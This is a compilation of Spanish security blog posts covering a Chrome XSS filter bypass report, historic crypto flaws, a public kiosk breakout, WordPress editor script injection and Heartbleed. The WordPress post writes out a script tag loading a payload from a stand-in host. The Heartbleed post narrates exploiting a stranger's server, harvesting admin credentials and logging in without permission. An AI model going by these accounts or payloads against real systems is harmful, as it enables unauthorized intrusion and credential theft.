Un informático en el lado del mal

Con el final del mes de Abril y el comienzo del mes de Mayo van a tener lugar una serie de eventos que merece la pena que tengas en el radar, así que aquí te dejo una pequeña agenda de lo que está por llegar.

Durante los días que quedan del mes de Abril tendrá lugar la selección de nuevos Talentum, algunos de ellos acabarán en Eleven Paths con nosotros, y otros podrán disfrutar de unas becas en Startups para hacer sus proyectos. Los lugares donde se van a realizar las charlas y las pruebas primeras son los siguientes, y basta con que te presentes allí.

Abril:
24 [12:00] Universidad de Santiago Campus Sur
25 [12:00] U. de Sevilla, Salón de Actos de la Facultad de Informática
25 [12:00] U. Complutense de Madrid - Facultad de Informática, Aula 8
28 [10:00] Universidad Pablo de Olavide Sevilla
29 [12:45] Universidad de Málaga, Salón de Grados A de la ETS de Ingeniería Informática y ETS Ingeniería de Telecomunicación
30 [13:00] U. Politécnica de Cataluña Aula Máster, Edificio A3, Barcelona

Si quieres saber más de las becas Talentum, aquí tienes el vídeo de la presentación donde algunos de los que han estado ya becados contaban sus proyectos y sus experiencias.

Figura 1: Presentación de los proyectos de las becas Talentum

Luego un recordatorio del evento que tiene lugar en Madrid este fin de semana "Retro Madrid", donde los amantes de la retro-computación podrán pasar un fin de semana de lo más 8 bits posible.

Figura 2: 26 y 27 de Abril Retro Madrid 2014

Durante la semana que viene un par de eventos de los que no os había hablado aún. El primero de ellos es Mundo Hacker Day con la presencia de Kevin Mitnick (@kevinmitnick) y donde participarán otros ponentes dentro del mundo de la seguridad. Será en Madrid, el día 29 de Abril y hay que comprar una entrada para poder asistir.

Figura 3: 29 de Abril Mundo Hacker Day 2014 en Madrid

Ese mismo día 29 de Abril por la mañana, también tiene lugar un evento gratuito en Madrid organizado por AENOR sobre la norma ISO/IEC 25000. La agenda la tienes en este enlace y el registro gratuito en este otro.

Figura 4: 29 de Abril en Madrid, Jornada AENOR sobre ISO/IEC 25000

Ya a principios de Mayo tendrá lugar la DragonJAR Security Conference 2014, donde se van a dar cita muchos y buenos ponentes internacionales, con la presencia de nuestro CSA de Eleven Paths en ColombiaLeonardo Huertas (@samuraiblanco).

Figura 5: DragonJAR Security Conference 2014

Al evento, como podéis ver, van ponentes de muchos países, así que si estás en Colombia o cerca de la región de Manizales los días 5 a 10 de Mayo, merece la pena que te apuntes a algún taller o a la conferencia.

Figura 6: Ponentes internacionales en DragonJAR Security Conference 2014

Os contaré más de esto, pero ya se están cocinando las II jornadas de X1RedMasSegura, que tendrán lugar del 8 al 17 de Mayo, y que yo haré por estar allí dando alguna charla. Si tienes tiempo, ya puedes ir reservando hueco en tu agenda.

A todo esto, yo seguiré los martes a las 11:15 en mi pequeña participación en La Mañana con Javi Nieves, así que siempre puedes sintonizar a esa hora la radio para escucharme un poco.

Saludos Malignos!

Desde hace años he querido trabajar en el mundo de la seguridad informática como pentester profesional. Tras muchas dudas, decidí coger el toro por los cuernos, apuntarme a un Máster de Seguridad Informática, y centrarme todo lo que pueda en este ámbito que las cosas hay que hacerlas de forma decidida. Dedico todo el tiempo que puedo a leer sobre el tema y ampliar mis conocimientos y, cuando puedo, navego por la red buscando cosas interesantes que probar o que me estimulen a pensar de forma diferente. Eso sí, siempre bajo las premisas de no romper nada, hacerlo a mano, que me ayuda a aprender más y de informar cuando la cosa es muy grave.

En este caso os voy a contar una historia de cómo el hurgar y probar ideas en muchas ocasiones te lleva a descubrir cosas cuanto menos curiosas. En este caso, los acontecimientos que os paso a narrar me sucedieron visitando la página de venta de artículos de un conocido mío.

El descubrimiento inicial del XSS Reflejado

La web en concreto no era un CMS de esos que se conocen bien los exploitersweb y estaba muy bien estructurada. Tiene su parte de login, su pasarela de pagos y su catálogo de productos correctamente montado. Parecía en definitiva un sitio interesante para invertir algunos minutos comprobando que no había detalles malos. Abrí Mozilla Firefox y tras un par de comprobaciones muy ligeras, apareció un XSS reflejado en un campo “buscar”:

Figura 1: El bug XSS en el formulario de Búsqueda de una web

Bueno, no es que sea nada excepcionalmente grave, pero como es algo muy común y como tenía algo de confianza con el dueño le aviso. Luego almaceno la página para futuros cacharreos - ¡Otra más para el montón! - y a dormir, que son las 2.00 A.M.

Días después en el trabajo me llega un e-mail del conocido en el que me solicita información algo más detallada para reportarle todo al webmaster. En ese momento me pilla con algo de jaleo, pero saco un minuto rápidamente para hacerlo. Preparo en un momento una pequeña prueba con un alert y otra en la que re-dirija la navegación de la víctima a otro lugar - por si hay que explicar cómo funciona eso de que un XSS puede ser utilizado para lanzar un exploit desde otra web y caer en manos de un Kit de Exploits-. Dos pruebas mejor que una, y completo el correo ofreciéndole ayuda en lo que necesiten. Pienso en ponerle además un enlace a OWASP, pero al final las prisas me pueden. De momento que se apañe con eso. Y a volver al tajo...

Pasaron quince minutos hasta que decidí atender a una neurona que llevaba todo el rato intentando llamarme la atención. Por política de empresa, los navegadores web permitidos son Internet Explorer y Google Chrome. Entonces.... ¿cómo había conseguido hacer las demos que acababa de enviar con un XSS Reflejado? ¿Acaso los filtros Anti-XSS estaban fallando en alguno de los dos navegadores? Excelente, una cosa que en su momento parecía normal y aburrida ahora se acababa de convertir en algo interesante que puse en la cima del montón de la “todo list” para casa.

El filtro Anti-XSS que tuvo el bug

Una vez en casa retomé sobre el tema. Rápidamente hice un par de comprobaciones para ver cuál de los dos navegadores de la empresa fue el que utilicé para hacer las PoCs y descubrir cuál de ellos falló. Las pruebas son sencillas, hice clics en los dos enlaces con las pruebas de XSS Reflejado que creé y resulta que Internet ExplorerSí bloquea las PoCs pero Google Chrome… NO.

Por supuesto, lo primero que me vino a la cabeza fue repasar todos los detalles:

- “¿Versión de Chrome? Actualizado a la última disponible."
- “¿Serán las extensiones? Encendidas, le duele, apagadas, le sigue doliendo."

Había que extender las pruebas, así que envié unos e-mails a compañeros en otros lugares:

- “Compi, mírame este enlace con Google Chrome y me cuentas"

La respuesta generalizada es: “Bonito alert”

Puesto a repasar los detalles en profundidad, me decido a probar con varios dispositivos y sumo más de una decena de ellos en los que donde funciona la PoC para lanzar el XSS Reflejado con un simple mensaje de alert. Llamadme suspicaz pero esto tiene pinta de vulnerabilidad en el filtro de Anti-XSS de Google Chrome.

Esto no sería raro, ya que hemos podido ver muchas veces cosas similares en el pasado y como muestra podéis ver algunos ejemplos de Saltarse el filtro de bloqueo de JavaScript en Google Chrome 4, Saltarse el filtro AntiXSS en Google Chrome 11 o las últimas PoCs de saltarse el filtro Anti-XSS en Google Chrome y Apple Safari.

Bien. Toca ver en detalle el entorno de explotación, así que nada, a pulsar F12 y a ver qué narices pasa por debajo ¡Vaya! Esto no sé si es normal pero creo que hasta el momento no lo había visto:

Figura 2: Código con el código del XSS Reflejado insertado

Como echo de menos mis punteros… No queda otra que tirar de Internet para suplir mis carencias en programación web. Por lo que aprendo con “tito Google”, este fallo puede ser debido a cómo interpretan los parsers de XML y HTML el código para impedir que HTML interprete la etiqueta CDATA de XML, debido a todos esos símbolos que ambos lenguajes comparten. Igualmente, tiene pinta de que es eso lo que puentea el filtro, porque todo lo demás es "lo de siempre” que suelo encontrarme cuando inspecciono campos parecidos.

El final de la historia con el bug en el AntiXSS

Decido reportar al equipo de seguridad de Google Chrome, puesto que parece que es un caso que su filtro debería de bloquear. Todo apunta a ese campo CDATA, pero no estoy seguro… Mejor no dárselas de listo, así que reporto con una PoC simple y ya veremos si el tiempo nos da la razón. Unas horas después ratifican que no iba muy desencaminado.

Figura 3: La contestación del equipo de Chromium. Clic para leer en grande

Parece ser que los comentarios provocan un fallo en el módulo de XSS Auditor, que se encarga de evitar ataques de XSS Reflejado. En menos de 24 horas el cambio estaba subido y validado.

Figura 4: El bug resuelto en 24 horas

Intenté reproducir el error en otros lugares, pero únicamente funcionaba si se introducía desde el lado del servidor. Con la última actualización el fallo ya ha sido corregido y el “caso frontera” que permitía hacer “bypass” ya no funciona. Eso sí, siempre nos quedará lanzar Google Chrome con --args --disable-web-security …

La moraleja de la historia

Y aquí termina la feliz historia. La moraleja, si es que se puede llamar así, es que a veces encuentras cosas curiosas de la manera más tonta, e incluso en ocasiones además de ser curioso puede tratarse de algo significativo. Husmear por todas partes tiene su recompensa. Eso sí, sin romper nada, que nos conocemos…

El único punto negativo que he encontrado a todo esto es que la vulnerabilidad no entra dentro del “Vulnerability Rewards Program”. Una pena porque, aunque el dinero no da la felicidad, puestos a llorar, todos preferimos hacerlo dentro de un Ferrari.

Hable con mi profesor Chema Alonso contándole un poco la experiencia y me animó a escribir un artículo para motivar a los que comienzan con esto de la búsqueda de vulnerabilidades, y en ello estoy, retocando los textos… y borrando los metadatos (que nos conocemos y me veo en un artículo en plan “Información sensible que extraigo analizando los metadatos de mis estudiantes del máster” :P)

Autor: Pablo Alobera
Twitter: @illegalpointer

Figura 1: No Lusers 168 - Operación Bullrun en marcha

Cuando en mitad del escándalo se filtraciones de documentos de la NSA por parte de Edward Snowden salió a la luz información sobre la Operación Bullrun del GCHQ y la NSA todos nos quedamos un poco sorprendidos. ¿Cómo iba a poder la NSA inyectar errores en los estándares criptográficos?

Tras hablar unos minutos en aquel entonces con Alfonso Muñoz, uno de los escritores del libro Criptografía Digital: Del cifrado clásico a RSA, especulamos con que lo más sencillo sería meter pequeños errores en las implementaciones que no estuvieran muy auditadas. Al final, es fácil colar un error sutil en el código y que esté años generando números aleatorios que no sean tan aleatorios.

Figura 2: Diapositiva sobre la operación BullRun filtrada del GCHQ

Si has leído el libro del Criptonomicón, esto es algo de lo que se habla largo y tendido cuando se explica en detalle el trabajo de los criptoanalistas o "code breakers" en la segunda guerra mundial. "¿Cómo será de aleatorio el proceso de extracción de bolas para la generación de las tarjetas de números?".

Lo cierto es que si echamos un poco la vista atrás, el número de errores en implementaciones de soluciones criptográficas ha sido grande en los últimos años, por error humano y falta de una auditoría profunda del código.

En el año 2006, el argentino Luciano Bello localizó un error en el código de OpenSSL/Debian que hacía que se generasen claves en un rango muy pequeño, lo que hacía que pudieran calcularse todas las posibles claves en poco tiempo y se pudiese descifrar cualquier tráfico cifrado o localizar cualquier clave privada de autenticación. En este enlace tienes un seminario dictado por Luciano Bello donde lo explica en detalle y en el siguiente vídeo los 10 minutos de la explicación del error en concreto.

Figura 3: El bug de OpenSSL/DebianEn el año 2007, como recoge nuestro compañero Juan Luís en la explicación de cómo se utiliza la aleatoriedad en sistemas de seguridad se descubrió un problema en el generador de números pseudoaleatroios de Windows XP y Windows 2000 que permitía llegar a predecir los números que se iban a generar en un sistema.En 2010 ya se tenía suficiente conocimiento y potencia como para que se rompieran las claves RSA de 512 y 768 bits, lo que dejaba descubiertos muchos certificados digitales y claves de acceso y ponía en la punta de mira de un futuro cercano las claves de 1024 bits, como explicaba Sergio de los Santos en su artículo sobre la carrera criptográfica entre Microsoft y Google.En el año 2012 se descubrió The Flame, una ciber-arma creada únicamente para infectar equipos y robar información de ellos que llevaba viva al menos desde 2011, y que había conseguido pasar bajo el radar de todos los sistemas antimalware debido a que se había firmado el software con una certificado roto de Microsoft, lo que obligó a la compañía a cambiar todos los certificados digitales que utilizaba.

Figura 4: El certificado digital usado por TheFlame que Microsoft tuvo que revocar

En el año 2013, se analizan las librerías criptográficas de Java para la generación de aleatoriedad y salen debilidades a la hora de generar entropía necesaria para la generación de claves en determinados escenarios. Ya cuando estábamos en el proceso de creación de DUST RSS vimos que las librerías estándar de Java tenían CVEs reconocidos con problemas de aletoriedad y había que utilizar librerías externas.En Agosto de 2013 se descubre que la función SecureRandom de Android no utiliza /dev/random - función que garantiza la entropía necesaria para garantizar la aleatoriedad, algo que por defecto, como se explica en detalle en este artículo del blog de Eleven Paths, no hace /dev/urandom.En Diciembre de 2013 en la CCC, en la presentación de Jacob Applebaum se habla de la posibilidad que se supone que tiene la NSA para saltarse el Code-Signing de Apple en todos los dispositivos iOS e instalar apps sin pasar por la validación de AppStore. Hay que recordar que si no hay que utilizar un Provisioning Profile por cada dispositivo para instalar un troyano en iPhone. Es la Operación DropOutJeep según la NSA.

Figura 5: La Operación DropOutJeep

En Febrero de 2014, Apple saca un parche de emergencia para iOS y OS X para arreglar el bug de Goto FAIL en la verificación de certificados digitales que podría permitir, con un certificado especial, saltarse cualquier comprobación de certificado digital correcto.

Figura 6: El segundo Goto Fail invalida todas las comprobaciones siguientes

A principios de Marzo de 2014, se confirma en una auditoría de código de GNU/TLS por parte de RedHat que hay una fallo serio en la verificación de certificados digitales que permite saltarse cualquier protección basada en claves generadas con ese software.

Figura 7: El bug de GnuTLS en las funciones de verificación de certificados

También, durante el mes de Marzo de 2014, en la conferencia CanSecWest 2014 se demuestra que el generador de códigos aleatorios de iOS 7 es inseguro, mientras que el de iOS 6 sí que era seguro.Si a estos pequeños y no tan pequeños errores de implementación se suman los errores no conocidos públicamente, los certificados generados con algoritmos y claves inseguras, las debilidades del protocolo HTTP-s con la implementación de las reglas de confianza, las cada vez más importantes capacidades de cómputo y los exploits para todo el software implicado en cualquier sistema que use criptografía parece que la Operación Bullrun podría haber sido un éxito.Saludos Malignos!

Durante el mes pasado he estado dando una charla en varias universidades por España para explicar cómo funciona Latch. Este vídeo que he subido a mi canal Youtube es en concreto de la charla que di en la Semana de la Informática 2014 de Valencia y es más o menos la misma sesión que impartí en la Universidad Europea de Madrid, en la Universidad Politécnica de Madrid, en la Universidad de Málaga y la Universidad de Almería. En este caso tenía solo 25 minutos, pero al final estuve 45' con las preguntas y todo.

Figura 1: Conferencia "Digital Latches for your Digital Life"

Las diapositivas de la sesión son las que os dejo aquí en mi canal en SlideShare, y recogen más o menos lo que os conté en el artículo de "Cómo proteger identidades digitales con Latch" además de muchos de los temas de los que os voy hablando diariamente por aquí, en El lado del mal.

Figura 2: Digital latches for your digital Life de Chema Alonso

Como sabéis, Eleven Paths ha cumplido hace unos días un año, así que voy a aprovechar para darles las gracias a todos los compañeros de esta empresa que es una pasada por estar ahí. Por haber creado Latch, por MetaShield Protector, por Faast, por todo lo nuevo que está por venir que os contaré allá por el mes de Junio/Julio y por hacer que cada día de trabajo sea estimulante. Gracias compañeros.

Saludos Malignos!

Estos días atrás me he topado con algunos Kioscos Interactivos por ahí perdidos que me han estado haciendo ojitos, como el caso del Kodak Kiosk que no contento con flirtear conmigo me pedía la password de Facebook. Hoy os quiero hablar de otros Kioscos Interactivos con los que he tenido una aventura romántica y en especial un caso bastante curioso que os quiero contar en el artículo de hoy lunes. Digamos que mi primer contacto estos días fue con un Kiosco Interactivo colgado en un punto de venta.

Figura 1: Un Easy Kiosk con el disco duro roto.

Me hizo gracia en este caso el nombre de Easy Kiosco y verlo con el disco duro roto, pero luego ver que tenía un Intel Core 2 Duo P8400 me hizo darme cuenta de dos curiosidades. La primera que tuviera un micro que se comercializó entre los años 2006 y 2009, es decir, que tiene ya más de 5 años de vida. La segunda, es que esa P en Intel me sonaba que era para micros de equipos portátiles y no para sobremesas, lo que quiere decir que este Kiosco Interactivo probablemente corra un thin client nada más.

El segundo de los kioscos que me hizo ojitos era un Internet Kiosk. Un punto de esos que comercializan minutos de conexión en plan oficina de trabajo puntual. No solo cuenta con conexión a Internet sino que además permite imprimir documentos y realizar llamadas por teléfono desde el propio Kiosco Interactivo.

Figura 2: El Internet Kiosk

Como se puede ver, tiene una aplicación propia que se usa como interfaz único para todo. Es decir, usa un navegador propio, un interfaz de conexión propio para Skype, para llamar por teléfono y para el servicio de impresión de documentos. Por supuesto, haciendo clic en cualquier sitio está todo deshabilitado en el sistema, a pesar de que cuenta con un teclado que puedes aporrear a gusto para intentar llamar a funciones por medio de hot keys, como por ejemplo las Sticky Keys para hacer un jailbreak de la aplicación, tal y como se podía hacer en algunos kioscos del DNIe en el año 2012. Todo bloqueado en local.

Tras jugar con él unos minutos, decidí irme sin conectarme a Internet y probar algunos trucos más con su navegador, como probar a descargar un Eicar a ver si saltaba el antimalware. Al fin y al cabo supuse que debajo habría un sistema hecho a media, tal vez con una distribución de Linux tuneada que solo abría esa aplicación y me alejé. Al minuto una mujer de cierta edad se acercó al kiosco de Internet para para dejarme como un luser, ya que ella iba a conseguir romper en cuestión de segundos la jaula que el proceso de hardening del Kiosco Interactivo - tal vez incluso soportando iKAT (Interactive Kiosk Attack Tool) - había preparado.

La señora decidió utilizar una aproximación totalmente distinta a cualquier otra que yo hubiera pensado. Mientras que yo buscaba fallos en las aplicaciones y el sistema de fortificación utilizando el interfaz Touch en la pantalla, el teclado y el ratón, ella decidió usar el Kiosco de Internet por otro interfaz y para otra función, ya que como bien dice el gran Michael Howard"All input is evil until it proves otherwise".

Figura 3: Los conectores del Internet Kiosk

Para hacer el jailbreak solo tuvo que utilizar el Internet Kiosk para cargar su teléfono por el conector USB ya que para dar el servicio de impresión tiene conectores USB, conectores de tarjetas de memoria de múltiples formatos y hasta disquetera.

Al conectar su terminal, se produjo una llamada automática al sistema Plug & Play de los sistemas Microsoft Windows porque detectó nuevo hardware. En este caso, dio la casualidad de que la mujer había conectado un dispositivo con Windows Phone en un Nokia Lumia 925 y que el driver no estaba instalado en el sistema operativo, lo que lanzó un asistente de configuración del driver fuera de la jaula que había planteado el creador de la aplicación.

Figura 4: El asistente de configuración del driver para un Nokia Lumia 925

La mujer se asustó y se alejó del kiosco dejando el asistente en pantalla, momento que yo aproveché para volver a jugar con el Internet Kiosk. El y el resto ya lo sabéis, desde ese punto se puede ver la red completa, luego llamar a la ayuda con F1 desde ese cuadro de dialogo, pedir la impresión de la ayuda, abrir el navegador de Internet Explorer y ... bueno, el resto ya os lo imagináis.

Figura 5: Examinando la red desde el kiosco Interactivo de Internet

Conseguir fortificar un Kiosco Interactivo es un trabajo bastante arduo, ya que el número de situaciones que pueden darse es enorme, y como puede verse en estos ejemplos, el propio hardware puede convertirse en un problema. Además, un Kiosco Interactivo tiene el inconveniente de que el impacto de un fallo puede ser enorme, desde un problema de imagen al acabar con un David Hasselhoff hasta un problema de exposición de información sensible de la red de tu organización.

Frankfurt AirPort #troopers14 }XD pic.twitter.com/5YCTENzoD7
— Chema Alonso (@chemaalonso) marzo 19, 2014

Por supuesto, interactuar con un Kiosco Interactivo para hacer el jailbreak es como un juego, ya que además, cualquier actualización del software del sistema puede llevar a una nueva puerta de acceso, así que siempre que me encuentro uno le dedico unos minutos a ver qué pasa - como sé que también hacéis muchos de vosotros y más gente -. Si te toca diseñar la seguridad de un Kiosco Interactivo, cuenta con esto.

Saludos Malignos!

Hace unos días atrás, Juan Manuel Fernández (@TheXC3LL) un amigo del blog, se puso en contacto para contarme una curiosidad que si eres el administrador de un WordPress debes tener presente. Se trata de una configuración por defecto que permite a los administradores y a los editores - y este es el punto importante - inyectar Unfiltered HTML, o lo que es lo mismo. Todo usuario que sea Editor puede incrustar un código Script en cualquier parte de los artículos que esté proponiendo para publicación.

Esto no es ningún fallo de seguridad, sino como bien dicen en las FAQ de Seguridad de WordPress, es una característica que debe estar para que los editores puedan crear el contenido web que deseen, que para algo WordPress se basa en tecnologías web con el objeto de publicar artículos enriquecidos con todo lo que permiten hoy en día.

Figura 1: Explicación de WordPress sobre el asunto de Unfiltered HTML

Sin embargo, dentro de todas las recomendaciones que os di para Mejorar la Seguridad de WordPress habría que tener también en cuenta esto, ya que cualquier Editor podría inyectar un código JavaScript en distintos puntos y con un un simple "<script src="http://server.xxx/payload.js"></script>" se consigue la ejecución de código en el Dashboard del Admin. Esto podría ser porque el Editor fuera el atacante, o porque previamente un atacante se hubiera hecho con la password de un Editor para luego atacar al Admin, algo similar a como le pasó a Zone-H en el año 2007.

Figura 2: Código Script ejecutado en el dashborad del Admin inyectado por un Editor

Esta característica podría ser ejecutada por un Editor malicioso para ejecutar código para hacer un Phishing y robar las credenciales del administrador mediante un engaño. Así, por ejemplo, el contenido de Payload.js podría ser un código mucho mas elaborado que hiciera que saliera la misma ventana de Login ocultando todo el dashboard, y aprovechándose de los administradores menos duchos en seguridad.

Figura 3: Un Phishing hecho con Payload.js inyectado en el Dashboard del Admin

No solo eso, puestos a robar contraseñas, se podría meter un código script más elaborado que hiciera tabnabbing buscando hacer phishing a otros servicios que el Admin pudiera tener abiertos, como por ejemplo Gmail. Por supuesto, aunque las cookies de sesión de WordPress sean HTTP-Only, podrían aparecer escenarios en los que fuera posible robarlas, ya que los bugs para encontrar formas de robar cookies HTTP-Only siguen apareciendo y hacer un session hijacking seguiría siendo una posibilidad. Pero al final, lo más peligroso es que cualquier Editor malicioso podría cargar un exploit client-side para obtener una shell de la máquina del Admin, con una vulnerabilidad como el 0day de Internet Explorer que anda circulando o como los exploits de Metasploit para versiones vulnerables de Safari u otros navegadores.

Si gestionas un WordPress, tal vez te convenga tener en cuenta que dentro de wp-config.php se puede deshabilitar esta característica, sobre todo si tienes un numero alto de Editores, añadiendo la línea de configuración define( 'DISALLOW_UNFILTERED_HTML', true ); Anótate esta característica, junto al resto de las recomendadas en el artículo de Fortificar WordPress.

Figura 4: Cómo poner un Plugin de Latch en WordPress

Por supuesto, si quieres evitar que alguien utilice tu contraseña de Admin de WordPress si en algún momento consiguiera robártela, lo mejor es pongas el plugin de Latch para WordPress, así si algún Editor malicioso hiciera un Phishing para robar tu password, tú te enterarías al instante con una alerta de Latch. En el Canal SlideShare de Eleven Paths tienes todos los manuales de instalación de Lath en frameworks de Internet.

Saludos Malignos!

Normalmente me suelo enterar de que alguien ha puesto Latch en algún sitio porque leo en algún rincón de Internet una nota de la experiencia. A veces es un post en el que alguien cuenta cómo integrarlo para hacer un sistema de 2-keys activation, otras porque me llega un twitt de alguien en la red que ha publicado algo en Internet o porque me llega un correo de refilón contándome someramente que se ha puesto Latch en un determinado sitio.

Figura 1: Twitt publicado con información de una integración nueva de Latch

En esos momentos me hace ilusión ver como la plataforma, que ya va camino de 1.200 integraciones distintas sigue creciendo día a día, pero me gustaría saber mucho más de cómo fue la experiencia. Me quedo con ganas de saber más.

Algunas veces busco ese feedback en los posts, como cuando Alejandro Ramos lo integró en un servidor FTP y explicaba al final cómo había sido el proceso, o cuando Deese hizo el plugin de Latch para Django, pero otras veces me quedo un poco falto de esa información.

Figura 2: Correo de feedback con la integración de Latch en Shodan

Cuando John Matherly integró Latch en el buscador Shodan, me hizo ilusión, que me escribiera un correo electrónico contándome cómo había sido esa experiencia. Cuanto de fácil o difícil había sido, la integración y cuáles eran las cosas que había que mejorar.

Si has integrado alguno de los plugins de Latch para un framework, tipo RoundCube, PrestaShop, Joomla, Wordpress o similar, si has hecho una integración de Latch a medida en una web o en un software concreto, si has creado un plugin de Latch como el de la pGina de Windows, el de Django o este último LatchBundle que hemos visto de Latch para aplicaciones Symfony2, si has usado Latch como parte de un proyecto tuyo tipo SCCAID o Latch Event Monitor, o simplemente si eres usuario de Latch, me encantaría saber cómo ha sido.

Figura 3: LatchBundle, integración de Latch en aplicaciones Symfony2

Cuéntame tú experiencia con Latch en los comentarios de este blog o ponte en contacto conmigo para escribirme un correo explicándome tu experiencia. Además, estamos preparando desde Eleven Paths una sorpresa para premiar a todos aquellos apasionados de la tecnología, geeks y hackers que más retroalimentación nos puedan dar, que al final los que estáis haciendo que Latch sea cada día un poco más grande sois vosotros.

Saludos Malignos!

Aunque últimamente ando bastante falto de tiempo libre debido a la cantidad de proyectos que intento llevar en paralelo pero mi carácter curioso e impulsivo me la ha vuelto a jugar y me ha hecho perder un poco de tiempo jugando con un servidor. Por motivos que no vienen al caso, estaba yo echando un vistazo a la página web de alguien relacionado con mi trabajo, el de experto en sistemas de automatización industrial concretamente, que ya sabéis que es de lo que me gusta hablar a mí en mis artículos, pero me topé con un bug de HeartBleed en un puerto menos habitual y he querido hacer este artículo para enfatizar estas cosas:

1.- HeartBleed puede estar en cualquier parte
2.- Es muy fácil de explotar
3.- Cambia las passwords
4.- Pon un segundo factor de autenticación a tus cuentas.

Fase 1: Descubriendo la Vulnerabilidad de HeartBleed

Mientras leía la web y me interesaba por lo que allí había hice lo que cualquier persona normal -, lancé un nmap al servidor donde se aloja - vale, supongo que esto de normal encajaría solo dentro de los que estamos por estas comunidades y que no será tan normal en otros lares -. De entre todos los servicios y puertos que salieron en los resultados hubo uno de todos ellos que me llamó la atención.

Figura 1: Lanzando nmap contra el servidor

Era un servidor de Plesk 11.0.9, algo que no es que sea inhabitual, pero que abre siempre las puertas de poder encontrar algo interesante especialmente al estar alojado en un puerto menos habitual al escaneo, especialmente esos días que la vulnerabilidad de Heartbleed estaba en todo su esplendor.

Figura 2: Plugin de HeartBleed para FOCA

Como aún no había sacado Eleven Paths su plugin de HeartBleed para FOCA que puedes ver en la imagen superior, me fui a buscar cualquiera funcional en exploit-db, y use este en concreto. Lo lancé y esperé el resultado.

Figura 3: Lanzando el exploit al puerto 8443

Como podéis ver, es vulnerable y devuelve 16384 bytes de información de la memoria del proceso OpenSSL dentro de este servidor, pero en este primer intento no hay información de interés en la respuesta que pueda considerarse jugosa. Por el momento.

Figura 4: El servidor es vulnerable al exploit

Fase 2: Explotando HeartBleed de forma automatizada

A estas alturas, como os habéis podido imaginar, ya no tengo mayor interés por la página web que estaba leyendo y me centro en mi vulnerable amigo. Decido pedir la página de login del panel y probar a introducir algunas combinaciones habituales de usuario y contraseña de las que no espero resultados. Ya sabéis, los "sospechosos habituales"admin/admin, admin/Abc123456, admin/123456, etcétera. Creo que hacer esto es un mecanismo de mi cerebro para poder pensar mientras las manos son comandadas por el sistema parasimpático.

Tras varias pruebas obviamente infructuosas vuelvo a lanzar el script de Python y obtengo en el volcado de la memoria la última combinación user/password que había utilizado. Perfecto, es cuestión de hacer peticiones hasta que el usuario legítimo entre al panel, cosa bastante improbable teniendo en cuenta la hora que es.

Figura 5: Opción de fijar el ataque de HeartBleed en el Plugin de FOCA

Esto es algo que hoy en día está bastante automatizado en todos los ataques de HeartBleed, y por eso en el plugin de HeartBleed para FOCA se ha añadido de la opción de lanzar el ataque cada 5 segundos y generar un log, algo que ya podían haber publicado antes y no habría tenido que hacérmelo yo.

Como no tenía claro si a la mañana siguiente tendría tiempo de ponerme de nuevo, preparé un pequeño script en Bash que me hiciera el trabajo sucio de explotar la vulnerabilidad periódicamente guardando los datos cada 30 segundos hasta que pueda volver a evadirme de las obligaciones y centrarme en las diversiones.

Figura 6: Script en Bash para fijar la explotación del bug de HeartBleed

Poco que explicar, sencillo pero funcional. Abro una conexión ssh hacia el equipo que se va quedar haciendo el trabajo y creo una sesión con Screen, me parece una buena opción cuando abro terminales de forma remota porque al cerrar la conexión la sesión se queda abierta en el servidor. Solo queda esperar el tiempo suficiente.

Al día siguiente, cerca del mediodía echo un vistazo al log y sorpresa, en algún momento se ha conectado alguien con credenciales de administrador y éstas han sido capturadas.

Figura 7: Una password en el log

Llegados a este punto no puedo vencer la tentación y entro al panel a echar un vistazo, solo un vistazo, os lo juro, para poder mostrar esta captura y conseguir enfatizar el mensaje final de este artículo.

Figura 8: El panel accesible

Conclusiones sobre HeartBleed

Una de las webs alojadas en este servidor pertenece a un bufete de abogados, por lo que para que quede claro desde el principio el carácter didáctico del ataque he decidido ponerme en contacto con ellos directamente y que sean ellos los que se encarguen de exigir a quien estimen conveniente que apliquen una política de seguridad adecuada.

Hoy en día HeartBleed es ya una vulnerabilidad conocida en profundidad, explotada de manera habitual por todas las herramientas, pero seguro que seguiremos encontrándola aún en multitud de sitios durante años. Es muy fácil de automatizar y sería más que recomendable que tomaras en serio las recomendaciones del principio de este artículo. Haz un escaneo profundo de todos equipos de la red - todos, incluidos los dispositivos de red - y por todos los puertos - todos los puertos - buscando cualquier OpenSSL vulnerable que pueda estar ahí.

Por supuesto, todas las passwords que tuvieras antes de HeartBleed deben ser cambiadas, al igual que los certificados digitales, deben ser cambiadas, porque mucha gente ha estado haciendo estas mismas pruebas y pueden estar en manos de cualquiera. Pon un segundo factor de autenticación a cada identidad que puedas o Latch si puedes a tu web que como dice este artículo "Con Latch el problema de Heartbleed no hubiera sido tan grande". Además, visto este ejemplo de hoy, tal vez sería bueno que el equipo de Eleven Paths - o alguien - sacara un plugin de Latch para Plesk, que parece que hace falta.

Autor: Juan Luis Valverde Padilla
jl.valverde@jvalverde.es

Uno de los grandes problemas que intentan resolver desde hace mucho tiempo las grandes empresas en Internet es el de la detección de posibles conexiones de sus clientes que estén siendo interceptadas por un atacante en medio. Esas interceptaciones pueden ser mediante ataques a la red en esquemas de man in the middle o mediante interceptaciones de comunicaciones con un man in the browser. Un problema que lleva tiempo en estudio y que ha tomado muchas aproximaciones distintas para intentar solucionarlo.

En este caso, este estudio de la Universidad Carnegie Mellon "Analyzing Forged SSL Certiﬁcates in the Wild" realizado en conjunción y con la ayuda Facebook ha intentado conocer cómo se están falsificando las conexiones HTTPs a la web de la red social - que es una de las formas de robar las contraseñas de Facebook - utilizando un método para poder tener un side-channel que reporte el certificado digital que está viendo el usuario, y así saber si la conexión está siendo interceptada o no por algún certificado en la red que pueda estar viendo el tráfico.

Figura 1: El estudio sobre las conexiones falsas a Facebook

Por supuesto, en esquemas de man in the browser en el que el malware controle toda la comunicación, podría vetarse también este side-channel creado y además, como se utiliza un puerto de conexión no habitual para la generación del side-channel, en muchas conexiones a Internet filtradas no se han podido analizar los certificados, pero aún así la idea es buena y merece dedicarle atención.

El escenario bajo análisis de la web de Facebook

Para poder analizar las conexiones a Facebook, la web de la red social permitió correr un componente SWF que se cargaba en la web unos segundos después de que el usuario hubiera recibido la página web. Esto no se hizo en todos los servidores, pero sí en una parte de ellos que permitió que se analizaran 3 Millones de conexiones.

Ese componente Flash se conectaba al servidor de Facebook para ver si podía crear un Raw Socket con él, para lo que es necesario descargar el fichero de Cross Domain Policy llamado crossdomain.xml para ver si se puede abrir un socket. Configurar este fichero está explicado en la web de Adobe, y hay un estudio interesante de lo que se puede hacer con él en este paper de la Universidad de Sand Diego "Analyzing the Crossdomain Policies of Flash Applications".

Figura 2: Esquema del side-channel con SSL

